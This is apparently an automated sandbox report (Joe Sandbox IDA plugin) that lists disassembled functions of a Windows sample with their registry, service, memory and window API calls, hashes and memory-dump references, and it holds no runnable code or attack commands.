Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Close$CreateOpenValue
String ID:
API String ID: 678895439-0
Opcode ID: 40c249707aa3e236b7ab04757fbf9d955dab3ca3a953ab656023e0ee83b23f72
Instruction ID: 013dd6b5f0f1bb3e5168a64d9296de98c66b462a2c56926823f6acc483f40db8
Opcode Fuzzy Hash: 40c249707aa3e236b7ab04757fbf9d955dab3ca3a953ab656023e0ee83b23f72
Instruction Fuzzy Hash: 2C511171E41309ABEB109F90DC47BAF7B75EB09705F100436F605BA2C1D37A56508FAA

Function 004054EC Relevance: 7.6, APIs: 5, Instructions: 147registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00448F57,00000000,?,?), ref: 00405544
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,?,?), ref: 004055D6
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00405657
RegCloseKey.ADVAPI32(?), ref: 00405697
RegCloseKey.ADVAPI32(?), ref: 004056C3

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Close$CreateOpenValue
String ID:
API String ID: 678895439-0
Opcode ID: b653ce2056488049e0c7f59d66ed3bd245af46a0604c929cc989a89cff58c968
Instruction ID: 3d081b991634d31b4a16ad201831ffe759f0285fef317bac2747ee0fbe11ea92
Opcode Fuzzy Hash: b653ce2056488049e0c7f59d66ed3bd245af46a0604c929cc989a89cff58c968
Instruction Fuzzy Hash: B2511171E41309ABEB109F90DC47BAF7B75EB09705F100436F605BA2C1D37A56508FAA

Function 004054F6 Relevance: 7.6, APIs: 5, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,00448F57,00000000,?,?), ref: 00405544
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,?,?), ref: 004055D6
RegSetValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00405657
RegCloseKey.ADVAPI32(?), ref: 00405697
RegCloseKey.ADVAPI32(?), ref: 004056C3

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Close$CreateOpenValue
String ID:
API String ID: 678895439-0
Opcode ID: 8b74397a48421fd44af3152d7afa99cab0b56ef365f61fbd292023c968c3dfa0
Instruction ID: 2a2820fbee4ba88b1c73b7ccfaef151ae2bf51a8b1c2e5facb38b4c3ef634eed
Opcode Fuzzy Hash: 8b74397a48421fd44af3152d7afa99cab0b56ef365f61fbd292023c968c3dfa0
Instruction Fuzzy Hash: BF511171E41309ABEB109F909C47BAF7B75EB09705F100435F605BA2C1D37A56508FAA

Function 004074D4 Relevance: 7.6, APIs: 5, Instructions: 111serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 00407523
OpenServiceA.ADVAPI32(00000000,?,80000000), ref: 00407566
QueryServiceStatus.ADVAPI32(00000000,?), ref: 004075A2
CloseServiceHandle.ADVAPI32(00000000), ref: 004075E7
CloseServiceHandle.ADVAPI32(00000000), ref: 00407613

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ManagerQueryStatus
String ID:
API String ID: 2623946379-0
Opcode ID: 1e652b0b76ae3a6a1d48ac2b6bf6d9e344795006aa8b72d5bb1fb81a964728d4
Instruction ID: b18725872e2c7d8575b0794df7de068ef95d6283cbb83c69921a7407882011cc
Opcode Fuzzy Hash: 1e652b0b76ae3a6a1d48ac2b6bf6d9e344795006aa8b72d5bb1fb81a964728d4
Instruction Fuzzy Hash: 92314071E41308ABDB10DFA1DD46BAEBB70EB09311F104435F505BA281E37A6B10CBAB

Function 00408598 Relevance: 7.6, APIs: 5, Instructions: 105serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000001), ref: 004085E7
OpenServiceA.ADVAPI32(00000000,00000000,00000020), ref: 0040862A
ControlService.ADVAPI32(00000000,00000001,?), ref: 0040866B
CloseServiceHandle.ADVAPI32(00000000), ref: 0040869A
CloseServiceHandle.ADVAPI32(00000000), ref: 004086C6

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ControlManager
String ID:
API String ID: 2705437689-0
Opcode ID: 435bacfa2592688f70b8d19a17dbdf1e174640c206d4ec774039be83538761ed
Instruction ID: 2f6114d1fe3ea1c0b9507951a4ff76ba4992a97d9403d664c519ca8acffcdcbb
Opcode Fuzzy Hash: 435bacfa2592688f70b8d19a17dbdf1e174640c206d4ec774039be83538761ed
Instruction Fuzzy Hash: B2313071E41308BBDB10DFA19D46BAEBA71AB19701F104839F504BA2C1E77A5B10DB9A

Function 00408706 Relevance: 7.6, APIs: 5, Instructions: 105serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00408755
OpenServiceA.ADVAPI32(00000000,00000000,000F01FF), ref: 00408798
ControlService.ADVAPI32(00000000,00000002,?), ref: 004087D9
CloseServiceHandle.ADVAPI32(00000000), ref: 00408808
CloseServiceHandle.ADVAPI32(00000000), ref: 00408834

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ControlManager
String ID:
API String ID: 2705437689-0
Opcode ID: 972cb0d29e55b2241c5dc78c68c0d4dee46cb4f146282b69fa8b6bd21acf0f8e
Instruction ID: aba941903a6742cdbb65b37b1c42bf026325252a295099cdcbada7aa007cccb7
Opcode Fuzzy Hash: 972cb0d29e55b2241c5dc78c68c0d4dee46cb4f146282b69fa8b6bd21acf0f8e
Instruction Fuzzy Hash: 06315271E41308BBDB10AFA19D47BAEBB71AB09701F104439F6047E1C1E7795B10DB9A

Function 00408874 Relevance: 7.6, APIs: 5, Instructions: 105serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 004088C3
OpenServiceA.ADVAPI32(00000000,00000000,000F01FF), ref: 00408906
ControlService.ADVAPI32(00000000,00000003,?), ref: 00408947
CloseServiceHandle.ADVAPI32(00000000), ref: 00408976
CloseServiceHandle.ADVAPI32(00000000), ref: 004089A2

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ControlManager
String ID:
API String ID: 2705437689-0
Opcode ID: 6e9dff296e7525f808d38e06701fd658c3e75c0ab60445c437b90e4a69337623
Instruction ID: c3cc8ec84fa59101aecabf2395fa1b4e7f066645c9327f6d8be19bd5b1d0c698
Opcode Fuzzy Hash: 6e9dff296e7525f808d38e06701fd658c3e75c0ab60445c437b90e4a69337623
Instruction Fuzzy Hash: 61312FB1E41308BBDB10AFA19D47BAEBA70BB19705F104439F605BA2C0E7795B10DB96

Function 0041789A Relevance: 7.6, APIs: 5, Instructions: 102memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00002020,004666C8), ref: 004178BB
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,00000000,00417D66,00000000,00000010,00000000,00000009,00000009,?,0041315D,00000010,00000000), ref: 004178DF
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,00000000,00417D66,00000000,00000010,00000000,00000009,00000009,?,0041315D,00000010,00000000), ref: 004178F9
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,00417D66,00000000,00000010,00000000,00000009,00000009,?,0041315D,00000010,00000000,00000000), ref: 004179BA
HeapFree.KERNEL32(00000000,00000000,?,00000000,00417D66,00000000,00000010,00000000,00000009,00000009,?,0041315D,00000010,00000000,00000000,00000000), ref: 004179D1

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFreeHeap$Allocate
String ID:
API String ID: 3000792370-0
Opcode ID: aa33cff51d9b46239c13332568c63fd6a7641131486917f0e3de966d7105249f
Instruction ID: 8b34c6a878d2bb17067587c2cd185f5bd153d148c4f1b8b19f996d02ee4589f2
Opcode Fuzzy Hash: aa33cff51d9b46239c13332568c63fd6a7641131486917f0e3de966d7105249f
Instruction Fuzzy Hash: E831E8F1645B02ABE3308F14EC45B61BBB0E744755F11823BE155973A0E77858898B5D

Function 00433377 Relevance: 7.6, APIs: 5, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0043339F
_set_statfp.LIBCMT ref: 004333BA
_set_statfp.LIBCMT ref: 004333D6
_set_statfp.LIBCMT ref: 00433412

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 0d3db45de72033a00eef503005650b4349f261745204dd300fea5a120a0de6ba
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 33112721E14E0A46D3065F2DD8A53665840FBAD376F18371BFAF7C73D1CE5C8A414259

Function 0041E01A Relevance: 7.6, APIs: 5, Instructions: 52stringregistryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041E01F
GetClassInfoA.USER32(?,?,?), ref: 0041E03A
RegisterClassA.USER32(00000004), ref: 0041E045
lstrcat.KERNEL32(00000034,?), ref: 0041E07C
lstrcat.KERNEL32(00000034,?), ref: 0041E08A

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Classlstrcat$H_prologInfoRegister
String ID:
API String ID: 106226465-0
Opcode ID: 243059f695997fdc5e18aca4c1733a4e8b119468e6ccf02fa63a07224259d251
Instruction ID: 9de4f92231495b0eb06e6f1e25bce98ab510faa394deaf2fe5779383db968be1
Opcode Fuzzy Hash: 243059f695997fdc5e18aca4c1733a4e8b119468e6ccf02fa63a07224259d251
Instruction Fuzzy Hash: 74112536700264BECB10AFB2DC01BEE7FB4AF15704F00451AF909A3261C7BC97418B69

Function 0040F9D0 Relevance: 7.5, APIs: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 0040F9EA
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0040FA14
TranslateMessage.USER32(?), ref: 0040FA1B
DispatchMessageA.USER32(?), ref: 0040FA22
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 0040FA31

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: d57cb4da0406cddea0923fda04d17f77badc16ef128cc43efc3a37673ca668b0
Instruction ID: c46242278273c5fa325ce9538cc668ab610d48cd3fdcafb229e0b307ff05a41e
Opcode Fuzzy Hash: d57cb4da0406cddea0923fda04d17f77badc16ef128cc43efc3a37673ca668b0
Instruction Fuzzy Hash: 25018672340305B6E230DF54AC42F6777ACAB84B40F900479FB00661C0D678FA09CA7D

Function 004150C7 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,0041488F,00419708,?,0041565C,00000000,?,00000001,00000800,0040EBB4,00000000,?,00415E44,?,?), ref: 004150C9
TlsGetValue.KERNEL32(?,00415E44,?,?,?,00415874,00000000,?,00000000), ref: 004150D7
SetLastError.KERNEL32(00000000,?,00415E44,?,?,?,00415874,00000000,?,00000000), ref: 00415123

Part of subcall function 00418AEB: RtlAllocateHeap.NTDLL(00000008,00000000,00000000), ref: 00418BE1

TlsSetValue.KERNEL32(00000000,?,00415E44,?,?,?,00415874,00000000,?,00000000), ref: 004150FB
GetCurrentThreadId.KERNEL32 ref: 0041510C

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: ErrorLastValue$AllocateCurrentHeapThread
String ID:
API String ID: 2047054392-0
Opcode ID: 8fd15a7f53242a6a5e943ff153e728ad6b594c8936ff632ff364aa4693faf10d
Instruction ID: 7dd392d0c59d170a5bbfaff856efc247c856e971bb5e9d8b96bed9991e063167
Opcode Fuzzy Hash: 8fd15a7f53242a6a5e943ff153e728ad6b594c8936ff632ff364aa4693faf10d
Instruction Fuzzy Hash: D1F0FC32700611EBC7312F307C097DA3EA4EF44772B11457AF951D52D0CF6C488286AD

Function 00420B19 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetMenuCheckMarkDimensions.USER32 ref: 00420B25
LoadBitmapA.USER32(00000000,00007FE3), ref: 00420BEC

Strings

\7B, xrefs: 00420BA5
, xrefs: 00420B34

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: BitmapCheckDimensionsLoadMarkMenu
String ID: $\7B
API String ID: 2557599799-1170257708
Opcode ID: 43a9b69cd150170d28d5b6c6fa888269db2a4130f31dcdb8632750face02c3f3
Instruction ID: ec37432fc37b3827b9d8f0a3c4225dffbc35a513453738e8f37c4f52eaf9b616
Opcode Fuzzy Hash: 43a9b69cd150170d28d5b6c6fa888269db2a4130f31dcdb8632750face02c3f3
Instruction Fuzzy Hash: 35212B71F00225AFDB20CF7CDC85BAE7BB4EB44715F4441A6E505EB282D6749B458B44

Function 0041FB80 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27stringCOMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(00000000,000000F0), ref: 0041FB91
GetClassNameA.USER32(00000000,?,0000000A), ref: 0041FBAC
lstrcmpiA.KERNEL32(?,combobox), ref: 0041FBBB

Strings

combobox, xrefs: 0041FBB5

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: ClassLongNameWindowlstrcmpi
String ID: combobox
API String ID: 2054663530-2240613097
Opcode ID: b4d0f7e13a35cf001fb613984a7f8aad16f987cb653ab2f8ce16369b58f8059a
Instruction ID: f51b5376a51d2f87378383446f53c8eb668dbd16adf7bea517e565c97eb3fab8
Opcode Fuzzy Hash: b4d0f7e13a35cf001fb613984a7f8aad16f987cb653ab2f8ce16369b58f8059a
Instruction Fuzzy Hash: E4E0E531654109BBCF109F60CC0AE9E3778EB00302F108132B416D50A0D638F64BC699

Function 0040E670 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(0040F746,00000008,?,0040281D,00000001,00000000,00000000,80000301), ref: 0040E679
RtlAllocateHeap.NTDLL(005E0000,00000008,80000301), ref: 0040E68D
MessageBoxA.USER32(00000000,004657F0,error,00000010), ref: 0040E6A6

Strings

error, xrefs: 0040E69B

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Heap$AllocateMessageProcess
String ID: error
API String ID: 2992861138-1574812785
Opcode ID: 788167c420d4f81db90552fd0490f2136becfa91a5dd5d56fe6d3f5289b3879c
Instruction ID: c1b4b005f33bddef3e80641b650a0d0da78cc344ede6283f30b5b7ec04bc600d
Opcode Fuzzy Hash: 788167c420d4f81db90552fd0490f2136becfa91a5dd5d56fe6d3f5289b3879c
Instruction Fuzzy Hash: B8E0D871740711BBEA205F61BC0DB973668AB15B02F410D35F901E23C0FAB9DC118B5E

Function 00415F3B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00412A4F), ref: 00415F40
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00415F50

Strings

IsProcessorFeaturePresent, xrefs: 00415F4A
KERNEL32, xrefs: 00415F3B

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: d3414dcac0841c7966c7c64188824fef26722e74c896974deea06c50cb6babb1
Instruction ID: 024d7d9557befae71ff1f5b16a2c7740432e3a0abad4fff1070f9919ec4246d6
Opcode Fuzzy Hash: d3414dcac0841c7966c7c64188824fef26722e74c896974deea06c50cb6babb1
Instruction Fuzzy Hash: 88C08070344700E5D9201FF12C0ABE636185BC1B03F9404537136D12D5DF5CC583642D

Function 00404610 Relevance: 6.5, APIs: 4, Instructions: 497registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyA.ADVAPI32(00000000,00000000,?,00000000,?,?,?,00000000,?,?,?,?), ref: 00404801
RegEnumValueA.ADVAPI32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 004048F6
RegEnumValueA.ADVAPI32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 0040499B
RegCloseKey.ADVAPI32(00000000), ref: 00404B67

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

